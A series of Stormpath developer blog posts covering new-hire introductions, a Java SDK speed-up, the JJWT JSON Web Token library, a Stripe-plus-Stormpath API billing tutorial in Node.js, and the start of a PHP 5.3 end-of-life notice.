I’m Micah and this week I joined Stormpath as a Developer Evangelist, supporting Java and the JVM.

In this new role, I get to do some of my most favorite activities as my job: coding, pairing with other developers and writing. I am part of a growing team of software engineers who not only write code, but get to express all that nerdy goodness through interactions in the developer community.

About me

I developed an interest in computers right at the beginning of the personal computer revolution when I was in 6th grade. I first played with CBM PETs in school (pop quiz: What does PET stand for? No googling! Answer below). My first home computer was a Commodore Vic-20. Then a Commodore 64 and even the rare SX-64 (LOAD"*",8,1 – anyone?).

computers

After learning what I was doing with my 300 baud modem and phreaking tools, my parents sought a less felonious outlet for my interest. My father, a dentist, purchased an Osbourne 1 (CP/M for the win!) and had me help him automate his office.

Since then, my love affair with technology has continued to develop and evolve.

I’ve had a wide ranging career working at the Syfy Channel for its first online presence, large banks and insurance companies including JP Morgan Chase and Metlife, and startups.

The two primary themes throughout have been my love of APIs and information security. My recent code kata on spreadsheet column name conversion exercises both algorithmic thinking and creating APIs.

I’m very proud of my password generator program, Passable, both as an iOS app (sorry Android!) and as a Google Chrome extension.

The code for these projects (and others) are on my github page.

I’m a maker at heart, whether it’s refurbishing a Dark Tower game or building out a MAME arcade cabinet.

mame

Jumping at Stormpath

While I love writing, my last blog post on my personal site was back in 2013. I co-authored a book in 2006. I published articles in the 2000’s in Java Developer’s Journal and Dr. Dobbs, among others.

When I saw the Developer Evangelist position at Stormpath, I jumped at it! Getting to work with some of the top security people in the world, engaging with other developers, developing software to support other developers and writing are all baked into the work. Somebody pinch me – I must be dreaming!

What I’ll Be Working On

I’ll be focusing on making the experience of using Java and Stormpath more awesomer (technical term) than it already is. It’s an exciting time to be working in Java. The addition of a functional style of programming to the language, lambdas and the stream api have totally revitalized the Java language and community. The breadth of frameworks is remarkable, and you can now setup a fully functional MVC, single page, websocket enabled app in seconds using tools like Spring Boot or Dropwizard. Never before has Java been so accessible and I am excited to work with you on integrating Stormpath into your stack.

I am so psyched that Stormpath exists! The audacity to take on such a critical facet of the technology landscape makes me excited and a little queasy at the same time (in a good way).

How I See Stormpath

For you Java #nerds out there, Stormpath is a little like spinning up your own threads. Sure, the language has syntax to do it, but the container does it much better and safer than your or I ever could. So, I’ll rely on my handy container to manage concurrency and I will focus on the task at hand.

Likewise, while you could roll your own security layer and (hopefully) use best-practices, Stormpath does it better. All you need to do is break out your handy REST API skills and you’re all set.

Part of my role here – and my passion – is to be here for YOU, the Software Engineer. Feel free to reach out to me at: micah@stormpath.com. I am looking forward to meeting online and in person!

BTW, PET = Personal Electronic Transactor

Major (1800%) Performance Upgrade to Stormpath Java SDK

$
0
0

Stormpath Java Support

The Stormpath Java SDK is now speedier and more extensible than ever. If you’re running a version lower than 1.0RC4.4, consider updating.

It’s no secret that an application needs fast access to its user data to keep those users happy. Whether it’s registration or authorizing access to a resource, slow speeds and good user experience don’t mix.

Which is why we recently revamped much of our core Java SDK to improve performance and extensibility. Here’s a rundown of what we did and how it impacted request times in a real project:

Pagination Bug Fix

First up, we discovered a bug preventing the SDK from iterating over collection resources correctly. As a refresher, collections in the Stormpath API are containers of other resources. For example, a Group contains Accounts, a Directory contains both Accounts and Groups, etc.

Prior to this release, requests to GET a collection that resulted in just one page of resources posed no problem, but multi-page results quickly broke down. A fix to the pagination logic took care of this.

An Elegant Datastore Implementation

We rewrote the core ‘DataStore’ implementation of the SDK – the very core of how all resources are processed in the SDK – from scratch. While not part of the original update plan, we found that an accumulation of improvements over the last two and half years resulted in too many one-off code chunks and an unnecessarily complex implementation. For a full look at the changes, take a look at this GitHub issue.

In addition to simply being a cleaner implementation, the new DataStore supports a ‘filter chain’ design approach that will allow us to plugin and cut out logic over time without creating the bloat. It also guarantees a consistent request/response flow for all interactions with our core REST API, meaning faster and more complete bug fixes in the future.

Fewer Round Trip Calls

Every iteration over a collection used to require two requests to Stormpath for the first page of results. Consider that extra call a relic of the past.

Performance via Gzip Compression

Gzip compression provides a 20% or more reduction in request times.

Improved Serialization

The Java SDK now funnels response bodies as a raw byte stream to Jackson, the JSON serializer Stormpath uses. Count this a small but real improvement of ~.5% reduction in request times.

Efficient Expanded Collection Handling

Consider the following real-world example: A Stormpath Application has access to 801 Accounts. At a page size of 100, a request for this Application’s Accounts collection resource would require 9 requests. Before this release, GETting the Groups for each of these Accounts would initiate an additional request for each Account – resulting in 810 total requests. Not ideal.

With the new release, collections that have elements with expanded collections of their own (like the Group example above) are collectable without unnecessary requests to Stormpath.

Measuring Performance Improvement

Now for the good stuff! Let’s see how all these changes combined impact our example Application with 801 Accounts.

Before The Release:

Iterating over 801 accounts without any kind of expansion at all (two times):

Run 1: 7934 milliseconds (7.934 seconds)
Run 2: 7341 milliseconds (7.341 seconds)

Iterating over 801 accounts with Groups expanded (two times):

Run 1: 154806 milliseconds = 154.934 seconds = ~ 2 MINUTES
Run 2: 150999 milliseconds = 150.999 seconds = 1 MINUTE 50 SECONDS.

After The Release

Iterating over 801 accounts without any kind of expansion at all (two times):

Run 1: 4025 milliseconds (4.025 seconds)
Run 2: 3822 milliseconds (3.822 seconds)

That’s an almost 100% increase in performance.

Iterating over 801 accounts with Groups expanded (two times):

Run 1: 8817 milliseconds = 8.817 seconds
Run 2: 7349 milliseconds = 7.349 seconds

That’s an ~ 1800% increase in performance.

The best part? Strict separation between the SDK API and its implementation classes made it possible to push major upgrades with no API changes for our users. Also, tests help. Lots and lots of integration tests.

You can find the new SDK on Github and updated Java Docs here.


JJWT - JSON Web Token for Java and Android

$
0
0

Occassionally here at Stormpath, we find time for open-source projects in the authentication and user security space. One such project, which is taking off in the Java community, is JJWT – a self-contained Java library providing end-to-end JSON Web Tokens creation and verification.

JJWT aims to be the easiest library for creating and verifying JSON Web Tokens (JWTs) on the JVM, and started as a side-project of our CTO, Les Hazlewood.

Java JSON Web Tokens – Designed for Simplicity

The JSON Web Token for Java and Android library is very simple to use thanks to its builder-based fluent interface, which hides most of its internal complexity. This is great for relying on IDE auto-completion to write code quickly.

For example:

java
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import io.jsonwebtoken.impl.crypto.MacProvider;
import java.security.Key;

// We need a signing key, so we'll create one just for this example. Usually
// the key would be read from your application configuration instead.
Key key = MacProvider.generateKey();

String jwtString = Jwts.builder().setSubject("Joe").signWith(SignatureAlgorithm.HS512, key).compact();

That’s all… in just a single line of code you now have a JSON Web Token containing the Subject Joe signed with key so its authenticity can later be verified.

Now let’s verify the JWT:

java
assert Jwts.parser().setSigningKey(key).parseClaimsJws(jwtString).getBody().getSubject().equals("Joe"); //Will throw `SignatureException` if signature validation fails.

To determine which key was used to sign the token, JJWT provides a handy little feature that will allow you to parse the token even if you don’t know which key was used to sign the token.

A SigningKeyresolver can inspect the JWS header and body (Claim or String) before the JWS signature is verified. By inspecting the data, you can find the key and return it, and the parser will use the returned key to validate the signature. For example:

java
SigningKeyResolver resolver = new MySigningKeyResolver();

Jws<Claims> jws = Jwts.parser().setSigningKeyResolver(resolver).parseClaimsJws(compact);

The signature is still validated, and the JWT instance will still not be returned if the jwt string is invalid, as expected. You just get to ‘inspect’ the JWT data for key discovery before the parser validates it.

This of course requires that you put some sort of information in the JWS when you create it so that your SigningKeyResolver implementation can look at it later to look up the key. The standard way to do this is to use the JWS kid (‘key id’) field, for example:

java
Jwts.builder().setHeaderParam("kid", your_signing_key_id_NOT_THE_SECRET).build();

Enhanced JWT Security Options

When it comes to creating, parsing and verifying digitally signed compact JWTs (aka JWSs), all the standard JWS algorithms are supported out of the box:

  • HS256: HMAC using SHA-256
  • HS384: HMAC using SHA-384
  • HS512: HMAC using SHA-512
  • RS256: RSASSA-PKCS-v1_5 using SHA-256
  • RS384: RSASSA-PKCS-v1_5 using SHA-384
  • RS512: RSASSA-PKCS-v1_5 using SHA-512
  • PS256: RSASSA-PSS using SHA-256 and MGF1 with SHA-256
  • PS384: RSASSA-PSS using SHA-384 and MGF1 with SHA-384
  • PS512: RSASSA-PSS using SHA-512 and MGF1 with SHA-512
  • ES256: ECDSA using P-256 and SHA-256
  • ES384: ECDSA using P-384 and SHA-384
  • ES512: ECDSA using P-512 and SHA-512

No need to install an additional encryption library; all these algorithms are provided by JJWT. It even provides convenient key generation mechanisms, so you don’t have to worry about generating safe/secure keys:

java
MacProvider.generateKey(); //or generateKey(SignatureAlgorithm)
RsaProvider.generateKeyPair(); //or generateKeyPair(sizeInBits)
EllipticCurveProvider.generateKeyPair(); //or generateKeyPair(SignatureAlgorithm)

The generate methods that accept a SignatureAlgorithm argument know to generate a key of sufficient strength that reflects the specified algorithm strength.

How The JJWT Library Works

The JJWT library provides all the end-to-end functionality that the producer and consumer of the tokens require.

Token Behavior: Creation, Signing, Parsing and Verification

Because of the the builder-based fluent interface nature of JJWT, the creation of the JWT is basically a two-step process:

  1. The definition of the internal Claims of the token, like Issuer, Subject, Expiration, Id and its signing Key
  2. The actual compaction of the JWT in a URL-safe string according to the JWT Compact Serialization rules.

The final JWT will be a Base64 URL encoded string signed with the specified Signature Algorithm using the provided key.

After this point, the token is ready to be shared with the other party. When received, they can parse the contained info fairly easily:

Jwt jwt = Jwts.parser().setSigningKey(key).parse(compactJwt);

This method returns an expanded (not compact/serialized) JSON Web Token. Internally it will do its best to determine if is a JWT or JWS, or if the body/payload is Claims or a String. It might be difficult for the internal algorithm to automatically identify the kind of token. In that case, you can use the parse(String, JwtHandler) method which allows for a type-safe callback approach that may help reduce code or instanceof checks.

During parsing time, the JWT is first verified with the provided key. The signature algorithm is identified via the alg property located in the header section of the JWT. The specified algorithm will be used to veriy the token with the provided key. If the verification fails, the parse method will not continue and will throw a SignatureException.

Internal JWT Structure: Header, Payload, Signature

When the token is being created, the JJWT library stores all the properties in a Map structure. During compaction, the following steps will be carried out in this order:

  1. The header will be Base64 URL Encoded,
  2. The payload will be Base64 URL Encoded,
  3. The encoded header and payload will be concatenated, appending a “.” in between them,
  4. A signature will be created for the resulting JWT string using the provided key,
  5. Finally, the signature will be concatenated to the JWT string appending a “.” in between them.

As a result, all the provided information will finally look like this:

eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiJKb2UifQ.WmxS1IZ-1iH1ZZ1dKBcpZGjU-IvTh88FUUMUR83J4oUuYYyBia-JjQebI0XBeVvNToRSC-_bzFM3nCQD-p2a6w

where:

  1. eyJhbGciOiJIUzUxMiJ9 is the encoded header,
  2. eyJzdWIiOiJKb2UifQ is the encoded payload, and
  3. WmxS1IZ-1iH1ZZ1dKBcpZGjU-IvTh88FUUMUR83J4oUuYYyBia-JjQebI0XBeVvNToRSC-_bzFM3nCQD-p2a6w is the generated signature

JWT Claims

As already mentioned, all the defined JWT values are ultimately stored in a JSON Map. JWT standard names are provided as type-safe getters and setters for convenience. They are:

  • Issuer (iss): getIssuer() and setIssuer(String)
  • Subject (sub): getSubject() and setSubject(String)
  • Audience (aud): getAudience() and setAudience(String)
  • Expiration (exp): getExpiration() and setExpiration(Date)
  • Not Before (nbf): getNotBefore() and setNotBefore(Date)
  • Issued At (iat): getIssuedAt() and setIssuedAt(Date)
  • JWT ID (jti): getId() and setId(String)

They are all available via the Jwts.claims() factory method.

Exceptions

JJWT carries out different kind of validations while working with the JWT. Upon errors, it will throw different kind of Exceptions so the developer can handle them accordingly. All JJWT-related exceptions are specifically RuntimeExceptions, with JwtException as the base class.

These errors cause specific exceptions to be thrown:

  • ClaimJwtException: thrown after a validation of a JTW claim failed
  • ExpiredJwtException: indicating that a JWT was accepted after it expired and must be rejected
  • MalformedJwtException: thrown when a JWT was not correctly constructed and should be rejected
  • PrematureJwtException: indicates that a JWT was accepted before it is allowed to be accessed and must be rejected
  • SignatureException: indicates that either calculating a signature or verifying an existing signature of a JWT failed
  • UnsupportedJwtException: thrown when receiving a JWT in a particular format/configuration that does not match the format expected by the application. For example, this exception would be thrown if parsing an unsigned plaintext JWT when the application requires a cryptographically signed Claims JWS instead

JJWT is Open Source :)

Hopefully, we have shown how JJWT is extremely simple to use and understand. If you need to create and verify JSON Web Tokens (JWTs) on the JVM, this is the right tool to use.

Furthermore, like many libraries Stormpath supports, JJWT is completely free and open source (Apache License, Version 2.0), so everyone can see what it does and how it does it. Do not hesitate to report any issues, suggest improvements and even submit some code!

Let us know what you think in the comments below.

How to Add Billing to Your API - with Stripe, Stormpath, and Node.js

$
0
0

Stormpath provides authentication tools for APIs, so we we work closely with devs building new REST services. We also hear a lot about the challenges that come with building an API. Billing is often high on that list of pitfalls. While charging users has long been a complicated issue, it can also be surprisingly painless for many use cases. We’ll show you how!

In this tutorial, I’ll run through how to:

  • Prop up a simple web console where your API users can register, login, get a Key for your REST API, and update their Account to a paid plan
  • Setup a monthly subscription plan and Email users with monthly invoices
  • Securely collect credit card data and charge a recurring fee
  • Store unique billing info on your user records
  • Expose a simple REST endpoint, secured with HTTP basic authentication
  • Limit access to that endpoint to paying users only
  • Revoke API access when a user unsubscribes or fails to pay an invoice

This tutorial should take less than half an hour to run through. We’ll use Stormpath for user management and API Key Management and Stripe for all things billing related. We’re also running Node.js + Express.js, but the steps are the same no matter your stack. Leave a comment or email support@stormpath.com if you have questions on using this guide in your app.

Scaffolding for this project is based on an earlier blog on writing a full-fledged API service. It’s a great resource for in-depth code explanations, as I’ll focus mostly on billing aspects here.

Set Up Your User Store – Stormpath

To get started, register for a free Stormpath developer account. Stormpath is an authentication and user management service that stores your user accounts and exposes a host of endpoints for working with those users. Sign up here, click the verification link in your Email and login into the admin console here.

Once you’re in, download your Stormpath API Key (located under the “Developer Tools” section on the homepage). You will need the values in the apiKey.properties file to test your work.

Next, create a Stormpath Application to represent this sample project. Stormpath Applications are convenience resources to help you model out your user data; create one for every real-world app backed by Stormpath. Go ahead and click on Applications in the navigation bar, hit the blue “Create Application” button and keep the settings default in the subsequent popup. Name the Application whatever you want, but something like “Sample Billing API” would work nicely! Once created, take note of the Application’s REST URL because we’ll need it too.

Stormpath Create new app

As a last step, let’s turn on Email verification. To do so, click the Directories tab and find the Directory auto-generated with for the new Application (e.g. “Sample Billing API Directory”). Once on the page for this Directory, click the “Workflows” link on the left-hand sidebar and you will find yourself looking at the Email verification workflow page.

Stormpath configure Directory

Make three changes on this page: Update the drop down value to “enabled”, set the “Link Base URL” to http://localhost:3000/verified and click the blue “Save Changes” button. Optionally, update the wording of the email to whatever you like, so long as you include the ${url} macro.

Now that this workflow is enabled, all new Accounts will be created with an unverified status in Stormpath and will not be allowed to authenticate until they click the Email sent to them on registration. This type of verification step is generally just a good practice for any sort of secure app. But it’s a requirement for us because we are going to use the Email address users give us on registration to create a customer record for them. Knowing that every user actually has access to the Email address they register with is therefore that much more important.

Setup Your Billing Provider – Stripe

We have one more service provider to register for: Stripe. Stripe manages credit card data, subscriptions and payment transactions, so we don’t have to worry about things like PCI compliance. Or building a billing backend.

Once registered, you’ll notice that your Stripe Account is set to ‘test’. Leave that setting alone as it will allow us to use fake credit cards when we’re ready.

Hold off on further Stripe configurations for now; just make sure to take note of your Stripe API Keys. More specifically, your pair of test Keys. You can find them in your account page under the “API Keys” tab.

Stripe API Keys

Write the Web Console and REST API

All of the code for this project is available on GitHub. To follow along directly, pull down the repo and cd into the project folder. Once downloaded, install the Node.js dependencies by running npm install from your terminal which will automatically pull what you need from the package.json file. Assuming you have Node.js and NPM installed of course =).

Next, run bower install to get the frontend dependencies via the bower.json file.

Our basic web console should have a few key functions right away:

  1. It can register users with a username and password securely
  2. It can consume verification tokens to enable newly created users after they click through the verification email
  3. It can login users to a basic dashboard page and create a secure session

The core functionality of our app is wrapped up in the index.js file. Here, we import our libraries and routes:

var async = require('async');
var express = require('express');
var stormpath = require('express-stormpath');

var apiRoutes = require('./routes/api');
var privateRoutes = require('./routes/private');
var publicRoutes = require('./routes/public');

Create the Express.js application:

var app = express();

Specify a templating engine:

app.set('view engine', 'jade');
app.set('views', './views');

Configure API access to Stripe:

app.locals.stripePublishableKey = process.env.STRIPE_PUBLISHABLE_KEY;

Configure middleware to serve static files:

app.use('/static', express.static('./static', {
  index: false,
  redirect: false
}));
app.use('/static', express.static('./bower_components', {
  index: false,
  redirect: false
}));

Configure Stormpath’s Express.js itegratio:

app.use(stormpath.init(app, {
  enableAccountVerification: true,
  expandApiKeys: true,
  expandCustomData: true,
  redirectUrl: '/dashboard',
  secretKey: 'very-long-and-very-secret-key',
  postRegistrationHandler: function(account, req, res, next) {
    async.parallel([
      // Create an API key for this user.
      function(cb) {
        account.createApiKey(function(err, key) {
          if (err) return cb(err);
          cb();
        });
      }
    ], function(err) {
      if (err) return next(err);
      next();
    });
  }
}));

Specify route code:

app.use('/', publicRoutes);
app.use('/api', stormpath.apiAuthenticationRequired, apiRoutes);
app.use('/dashboard', stormpath.loginRequired, privateRoutes);

And finally, prop up our server.

app.listen(process.env.PORT || 3000);

To illustrate further, let’s take a quick look at the views routes.

public.js

'use strict';

var express = require('express');
var stripe = require('stripe')(process.env.STRIPE_SECRET_KEY);

// Globals
var router = express.Router();

// Routes
router.get('/', function(req, res) {
  res.render('index');
});

router.get('/pricing', function(req, res) {
  res.render('pricing');
});

// Exports
module.exports = router;

As you can see, there are only two public pages we absolutely need: A homepage for our app and a pricing page so we can tell new users how much API access will cost them. And why it’s totally worth the cost.

private.js

'use strict';

var bodyParser = require('body-parser');
var express = require('express');
var stormpath = require('express-stormpath');
var stripe = require('stripe')(process.env.STRIPE_SECRET_KEY);

// Globals
var router = express.Router();

// Middlewares
router.use(bodyParser.urlencoded({ extended: true }));

// Routes
router.get('/', function(req, res) {
  res.render('dashboard');
});

// Exports
module.exports = router;

For now, private.js just needs to serve up our dashboard.jade template. You may be wondering why there are no routes related to auth. The answer is Express-Stormpath takes care of all the basic authentication functionality (including views) like registration, login, email verification etc. out of the box.

However, to make Express-Stormpath work the way we want it to, there are three important configurations to set in index.js:

  1. First, set enableAccountVerification to true so the library knows to expect an enabled verification workflow.
  2. Second, tell Express-Stormpath to redirect to /dashboard after registration and login.
  3. Lastly, pass in a long, randomly-generated secret to encrypt sessions.

We’re just missing one key piece of functionality… our money maker! Inside the routes directory, add one more file: api.js. My API has just one endpoint, /hi that greets API consumers with a friendly message.

router.post('/hi', function(req, res) {
  res.status(200).json({ hi: 'there' });
});

Generate API Keys for Your Users with Stormpath

If you plan to charge for your API, you also want to secure it with proper authentication. This means username and password aren’t going to cut it and your app needs to generate a unique set of high entropy API Keys for each user. Just as Stripe and Stormpath did when we registered earlier.

Express-Stormpath can do this step automatically on every registration with some custom event handling logic:

app.use(stormpath.init(app, {
  enableAccountVerification: true,
  expandApiKeys: true,
  expandCustomData: true,
  redirectUrl: '/dashboard',
  secretKey: 'very-long-and-very-secret-key',
  postRegistrationHandler: function(account, req, res, next) {
    async.parallel([
      // Create an API key for this user.
      function(cb) {
        account.createApiKey(function(err, key) {
          if (err) return cb(err);
          cb();
        });
      }
    ], function(err) {
      if (err) return next(err);
      next();
    });
  }
}));

Once the keys are generated, it’s a quick job to expose them to the user in the dashboard. Add a section to display the API key and ID like so:

dashboard.jade
 .row.api-keys
      ul.list-group
        .col-xs-offset-1.col-xs-10
          li.list-group-item.api-key-container
            .left
              strong API Key ID:
              span.api-key-id #{user.apiKeys.items[0].id}
            .right
              strong API Key Secret:
              span.api-key-secret #{user.apiKeys.items[0].secret}

And there you have it! Your users can register, verify they are who they say they are, find their API credentials and use those credentials to hit your awesome new REST endpoint.

Add Billing to Your API

Return to the Stripe dashboard to continue setting up your account, starting by creating a new plan. This is where you get to determine what a subscription to your API looks like. Here’s mine for reference, but be sure to play with the details!

Create Stripe Plan

For this sample, I only need one plan (only one endpoint after all), but it’s entirely possible to create more.

At this point, I want to briefly acknowledge that monthly subscriptions are far from the only billing model out there. They are simply what most of our users here at Stormpath are implementing and mesh with the overall trend to a SaaS-based world. Still, a better option for some APIs is going to be a charge-per-query model as seen here. Fortunately for all of us, Stripe supports both.

Now that the plan is ready in Stripe, add a form to your own dashboard to collect a user’s credit card data and POST it to Stripe. The easiest way to do that is with Stripe checkout. Here’s how that might look in our dashboard template:

.row.widgets
      .col-md-offset-4.col-md-4
        .panel.panel-primary
          .panel-heading.text-center
            h3.panel-title Billing
          .billing-content.text-center
            span
              h3.
                Upgrade To Pro
            form(action='/dashboard/charge', method='POST')
              script.stripe-button(
                src = 'https://checkout.stripe.com/checkout.js',
                data-email = '#{user.email}',
                data-key = '#{stripePublishableKey}',
                data-name = '#{siteTitle}',
                data-amount = '1000',
                data-allow-remember-me = 'false'
              )

However, that’s actually only half the battle. Because this form lives on the client side, what it actually does is create a token. This token is then passed to a private route (/charge) that will POST it to Stripe with instructions on what sort of action we want to take.

In our case, we want to do three things:

  1. Create the customer in Stripe and add them to our Plan
  2. In a callback, save the user’s new Stripe customer ID to their Stormpath Account record
  3. Save information about the plan to the user’s Stormpath Account record

At a high level, the function uses the session Express-Stormpath created (req.user) on authentication to find and update the correct Account. More specifically, it’s saving data (from Stripe) to the Account’s customData; a schemaless JSON resource available on all Stormpath Accounts. customData can store whatever user data you want in Stormpath and that means we don’t have to spin up a database =).

router.post('/charge', function(req, res, next) {
    stripe.customers.create({
        source: req.body.stripeToken,
        plan: 'pro',
        email: req.user.email
    }, function(err, customer) {
        if (err) return next(err);

        // Add the user to this group.
        req.app.get('stormpathApplication').getGroups({ name: 'pro' }, function(err, groups) {
          if (err) return next(err);

          var group = groups.items[0];
          req.user.addToGroup(group, function(err) {
            if (err) return next(err);

            // Update the user's plan.
            req.user.customData.billingTier = customer.subscriptions.data[0].plan;
            req.user.customData.billingProviderId = customer.id;
            req.user.customData.save(function(err) {
                if (err) return next(err);
                res.redirect('/dashboard');
            });
          });
        });
    });
});

I chose to call the two new customData keys billingProviderId and billingTier, but you can use whatever JSON compatible values you like.

Implement Authorization in Your API

At this point, the user can register, connect to your API securely, and pay you. However, there’s one more thing to do: restrict access to the API to paying users only. We can’t be greeting freeloaders after all!

Commonly referred to as authorization, the API needs to check who the caller is, what plan they are on and whether they should have access to the endpoint. The first element, knowing who they are, has already been implemented via HTTP Basic Auth.

With the user identified, verify that their plan matches what it should. Here’s our basic authorization check on the updated api/hi route:

router.post('/hi', function(req, res) {
  if (!req.user.customData.billingTier || req.user.customData.billingTier.id !== 'pro') {
    res.status(402).json({ error: 'Please Upgrade to the pro plan' });
  } else {
    res.status(200).json({ hi: 'there' });
  }
});

In a production app, you would want to decouple the authorization check into middleware, but hopefully this helps illustrate how simple the logic is. api/hi is officially available to paid users only.

Run Your API Service – with Billing!

Of course, you’ll want to check that everything is working as expected! Remember all those Stripe and Stormpath credentials you collected in the beginning? Now is the time to expose them to your application as environment variables.

export STRIPE_PUBLISHABLE_KEY=StripeTestPublishableKeyGoesHere
export STRIPE_SECRET_KEY= StripeTestSecretKeyGoesHere
export STORMPATH_API_KEY_ID=StormpathAPIKeyIDGoesHere
export STORMPATH_API_KEY_SECRET= StormpathAPIKeySecretGoesHere

Run the application with: node index.js and visit the index page in your browser at http://localhost:3000 where you should be greeted with:

Billing App Homepage

You can now check out the pricing page, be thoroughly convinced, and register for the app. Once logged in, you should see a set of API credentials for your API. Use these to make a test request against your api with cURL:

curl -v —user 'apiKeyID:apiKeySecret' -H 'Content-Type: application/json' 'http://127.0.0.1:3000/api/hi'

If all is well, your API should return a HTTP 402 error response with a message telling you to upgrade.

Go back into the dashboard and click the Upgrade button. Because Stripe is in test mode, use 4242 4242 4242 4242 for the card number, any future date for the expiration field and a random 3 digits for the cvc.

To verify that the transaction went through, try running the exact same cURL command again. Congratulations! You now have a fully functional web console and REST API with billing built-in and enforced.

Optional Configurations

There are a nearly unlimited number of things you could do to improve this rather paltry API. Here are three to consider.

Revoke Access When a User Fails to Pay

Once your service blows up in popularity, it will become increasingly annoying to manually update every Account that stops paying. Stripe webhooks are a great way to automate this process. In our case, we want to setup a webhook that fires off whenever a customer’s subscription is deleted.

Stripe Webhook

Once the webhook is configured in Stripe, expose a public route to consume the event. Due to the nature of webhooks, we can’t simply trust that Stripe was the one to hit our endpoint so there are a few additional steps we need to take to be on the secure side:

  1. Consume the webhook from Stripe and parse out the event ID
  2. POST back to Stripe using the event ID and check that the event matches the type we expect
  3. Retrieve the customer associated with the event and parse out their Email
  4. Search Stormpath for the Account associated with that Email address
  5. Update the Account to reflect their new subscription status
  6. Respond to Stripe to indicate the webhook was successfully received

Here’s how that looks:

router.post('/subscription-cancel', function(req, res, next) {
  stripe.events.retrieve(req.body.id, function(err, event) {
    if (err) return next(err);

    var type = event.type;

    // Check that the event type is a subscription cancellation.
    if (type !== 'customer.subscription.deleted') {
      return res.json();
    }

    var customerId = event.data.object.customer;

    stripe.customers.retrieve(customerId, function(err, customer) {
      if (err) return next(err);

      var customerEmail = customer.email;
      req.app.get('stormpathApplication').getAccounts({ email: customerEmail }, function(err, accounts) {
        if (err) return next(err);

        var account = accounts.items[0];
        account.getCustomData(function(err, data) {
          if (err) return next(err);

          data.billingTier.id = 'cancelled';
          data.save(function(err) {
            if (err) return next(err);

            return res.json();
          });
        });
      });
    });
  });
});

To test, expose your local server to the internet so Stripe’s webhook can hit the new route. Ngrok is a great option for that. Once running, update the Stripe webhook to point at your public ngrok URL and cancel a test customer’s subscription. If successful, you should see an update on their Stormpath Account’s customData to reflect the cancellation.

Configure Stripe to Send Invoice Receipts via Email

This may not seem like a big deal, but trust us, it is super convenient for you and your customers! The Stormpath billing team fully endorses this option =). Enable it in Stripe’s Account Settings Email tab.

Stripe Email configurations

Add Paid Users to a Stormpath Group

I chose to use customData for authorization in my example because its flexibility would allow me to implement very granular authorization rules based on the plan data collected from Stripe. However, Stormpath does support the notion of a Group that’s more commonly used used for authorization. The Group approach is handy because it is very simple to query against Stormpath for all users that belong to a particular Group.

To get the best of both worlds, create a new Group to represent the Stripe plan in Stormpath and add users to it when they upgrade. To create the Group, log into the Stormpath admin console, find your Directory, Click ‘Groups’ in the sidebar and click the ‘Create Group’ button.

Stormpath create Group

Now update /charge to additionally add the user to a Group:

router.post('/charge', function(req, res, next) {
  stripe.customers.create({
    source: req.body.stripeToken,
    plan: 'pro',
    email: req.user.email
  }, function(err, customer) {
    if (err) return next(err);

    // Add the user to this group.
    req.app.get('stormpathApplication').getGroups({ name: 'pro' }, function(err, groups) {
      if (err) return next(err);

      var group = groups.items[0];
      req.user.addToGroup(group, function(err) {
        if (err) return next(err);

        // Update the user's plan.
        req.user.customData.billingTier = customer.subscriptions.data[0].plan;
        req.user.customData.billingProviderId = customer.id;
        req.user.customData.save(function(err) {
          if (err) return next(err);
          res.redirect('/dashboard');
        });
      });
    });
  });
});

Other Resources on API Authentication

And that’s a wrap! Feedback and questions are most welcome in the comments, and you can always email support@stormpath.com for answers and assistance.

Include BrianRetterer.php

$
0
0

brian_retterer

Hello, I’m Brian, the new PHP Developer Evangelist for Stormpath! I’m currently based at home in Dayton, Ohio with my wonderful wife, Heather, and our purebred mutt, Sophie.

My background is not what you would expect: I have a BFA in Communications Arts with a concentration in International Theatre Production (specifically sound design and engineering) from Ohio Northern University. My post-college path started with six months on a cruise ship (doing sound engineering), then writing code for a start-up educational website, then working as a PHP developer and a system administrator and, now, a PHP Developer Evangelist! This job will combine all of the skills I have learned over the years, making it a perfect fit!

wget http://wordpress.org/latest.tar.gz

My jump into computers started even before my love for theatre.

In the early days of the internet, we had an ISP-based webpage. You know, the ones with the /~username on a www2 subdomain of the ISP’s main webpage. Playing around with this (for quite some time), sparked a huge interest in the web. Through college, I dabbled a little bit more in the campus-provided domain and created awesome framed web pages with flashy animated gifs and under construction diggers. Dabbling in WordPress and PHP ensued from there (starting with version 1.2).

In 2006, I registered my first domain, brianretterer.com, where I created a simple WordPress blog to post images and blogposts about my study abroad semester in New Zealand. From that point, I found a love for Wordpress as an accessible website development tool. This love has led to me co-chairing the local Wordpress Meet-up group and co-founding the Dayton, OH Wordcamp.

composer require stormpath/sdk:1.3.0-beta

I first got to know Stormpath when I was looking for a way to manage my users for a weather alerter app I developed, Public Alerter. I hated dealing with the issues of user security, and although there was not much personal information as part of this app, I knew I didn’t want to manage a bunch of other users.

Eventually, the application evolved into a chrome extension, and does not have users. However, being a beta user – and giving the team early feedback – created a relationship with Stormpath that would, ultimately, lead me to working here. A few years after this initial meeting I began to do some freelance work on the PHP SDK. I was enjoying working with the people at Stormpath and was thrilled when I was offered the PHP Developer Evangelist job.

Building the Stormpath PHP Community

What will I be doing as as PHP Developer Evangelist?

In short, I’ll be blogging, speaking, and writing code. While I don’t call myself a writer, I do love to teach people about technology world and the advantages understanding it can give people. I’m looking forward to developing blog posts and letting people know what Stormpath is up to!

All that is true for the speaking aspect as well. Until I started speaking at WordCamps around Ohio, I didn’t realize how much I enjoyed educating and informing people about anything related to the web, designing great systems, and applications. When I learned this job would allow me to grow my audience base and speak about all sorts of amazing nerdy things (as my wife puts it), I was excited to jump at the chance.

Finally, I would definitely call myself a code-writer. I am a self-taught software developer and constantly learning new things; I especially enjoy that programming is a world that is always growing and changing.

With my new role at Stormpath, I will be available to help all the PHP developers use Stormpath’s PHP SDK. I am happy to be working on it and making it a tool that I think everyone who has a webpage or application with a user system will be able to use!

I’ve been welcomed into the Stormpath family and am looking forward to sharing with the world what we are doing here and getting to know all of the PHP Developers out there.

Ways to get ahold of me

(PS. You may notice a trend here, Most of my user accounts are bretterer)

The end of PHP 5.3

$
0
0

PHP 5.3 End of Life Support

Programming languages always progress and change. Bugs are found and patched, and so are security holes in the language. PHP Group and the PHP Community has always prided itself in making sure developers have the best and most secure code available. Because of this, PHP – like many languages – will End Of Life (EOL) an older version, no longer maintaining them for bug and security updates for that version.

